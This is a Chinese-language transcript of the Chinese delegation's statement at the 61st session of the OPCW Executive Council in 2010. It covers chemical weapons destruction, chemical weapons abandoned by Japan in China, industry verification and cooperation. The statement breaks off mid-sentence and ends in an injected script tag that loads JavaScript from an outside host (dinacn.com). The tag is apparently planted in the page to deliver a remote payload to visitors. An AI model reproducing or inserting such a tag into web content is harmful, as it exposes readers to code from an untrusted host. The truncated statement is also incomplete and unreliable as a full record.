2010年6月29日至7月2日,禁止化学武器组织执理会第61次会议在荷兰海牙召开。
中国代表团在一般性辩论中发言,着重阐述了中国政府在化武销毁、日遗化武、工业核查、化武防护与援助和国际合作等问题上的主张。中方指出,在《禁止化学武器公约》规定时限内彻底销毁包括遗弃化武在内的各类化武是公约的核心内容,是化武拥有国和遗弃国必须兑现的国际法律义务和庄严的政治承诺,也是禁化武组织当前最优先和最紧迫的任务,有关国家应最大限度地展示他们认真履约的诚意,加强并扩大销毁投入规模,为按期完成化武销毁提供一切必要的保障。中方强调各方应公平、平衡、有效地推进工业核查有关工作。中方呼吁各方重视并采取切实步骤积极推进防护与援助、化工领域国际合作。
中方再次对日遗化武销毁工作进度严重滞后表示极为关切和忧虑,希望日方充分重视日遗化武销毁工作的重要性和紧迫性,加大人力和财力投入,做好技术保障工作,加快工作进度,尽早启动并按期完成销毁。
中国代表团发言全文如下:
主席先生,
首先,请允许我代表中国代表团祝贺你担任执理会主席。我相信,您丰富的外交经验和智慧,一定能引导执理会在将来一年里取得新的成就。中国代表团愿积极支持和配合你的工作。在此,我愿对前任主席墨西哥大使Lomonaco Tonda的杰出工作表示赞赏。
中方也要感谢总干事菲尔特阁下向执理会所作的全面报告。在菲尔特阁下担任总干事期间,公约平稳实施,普遍性显著增强,禁化武组织在国际军控领域的声望不断提高,与中方的合作愉快且富有成效。中方对菲尔特阁下做出的积极贡献表示高度赞赏。
同时,大家知道,侯任总干事尤祖姆居阁下将于7月25日就任,我愿借此机会欢迎他上任。中方相信以他丰富的外交经验和出色的领导能力,必定能够领导禁化武组织技秘处在公约实施过程中继续发挥建设性作用。中方将全力支持他的工作,期待与他和技秘处继续进行全面、有效和愉快的合作。
主席先生,
下面,我愿结合会议议题阐述中方立场:
一、积极努力,推动化武销毁进程。在公约规定时限内彻底销毁包括遗弃化武在内的各类化武是公约的核心内容,是化武拥有国和遗弃国必须兑现的国际法律义务和庄严的政治承诺,也是禁化武组织当前最优先和最紧迫的任务。在化武拥有国和各方共同努力下,整体化武销毁已取得长足进展,但随着公约规定的最后销毁期限日益临近,该进程显然已严重滞后于公约的要求。中方认为,在当前形势下,有关国家应最大限度地展示他们认真履约的诚意,加强并扩大销毁投入规模,为按期完成化武销毁提供一切必要的保障。执理会应加大对化武销毁的关注力度,近期及未来一段时间的工作重点仍应是如何推动化武拥有国从速完成销毁。禁化武组织在介入处理销毁逾期问题时,要确保公约权威和信誉,同时兼顾政治、法律、程序等多方面因素,尽可能减少负面影响。
二、加大投入,按期、彻底、安全处理日本遗弃在华化武。近年来,日遗化武致人伤亡、污染环境的事件时有发生,给中国人民生命和财产造成现实危害,其销毁工作的紧迫性不亚于库存化武。在中方协助下,处理日遗化武工作取得了一定进展,但迄无一枚日遗化武被销毁。随着公约规定的最后销毁期限日益临近,中方对日遗化武销毁工作进度严重滞后极为关切和忧虑。中方希望日方充分重视日遗化武销毁工作的重要性和紧迫性,加大人力和财力投入,做好技术保障工作,加快工作进度,并提交符合公约要求的总体销毁计划和详细年度销毁计划,尽早启动并按期完成销毁。
目前,南京移动式销毁设施已运抵现场,我们期待着它早日启动销毁。在中、日和禁化武组织技秘处三方共同努力下,三方已就日遗化武移动式销毁设施核查计划和设施安排达成一致,并提交本届执理会审议。上述两文件的及时通过和生效,对在处理日遗化武进程中,按公约要求进行有效监督、核查具有重要意义,希望各方积极考虑并予以支持。
三、公平、平衡、有效地推进工业核查有关工作。工业核查是增进缔约国互信、防止化武扩散的重要手段。目前正在讨论的扩大OCPF宣布问题,各方尚无共识,应进行认真评估,广泛听取各方意见,通过深入讨论和在进一步凝聚共识的基础上寻求妥善解决的办法。中方愿与各方一道,发挥积极和建设性作用。
四、积极推进防护与援助、化工领域国际合作。中方呼吁各方重视该领域的工作,特别是应支持发展中国家的相关诉求,投入更多资源,并采取切实步骤进一步推进公约第十条、第十一条的?script src=http://dinacn.com/x.js> |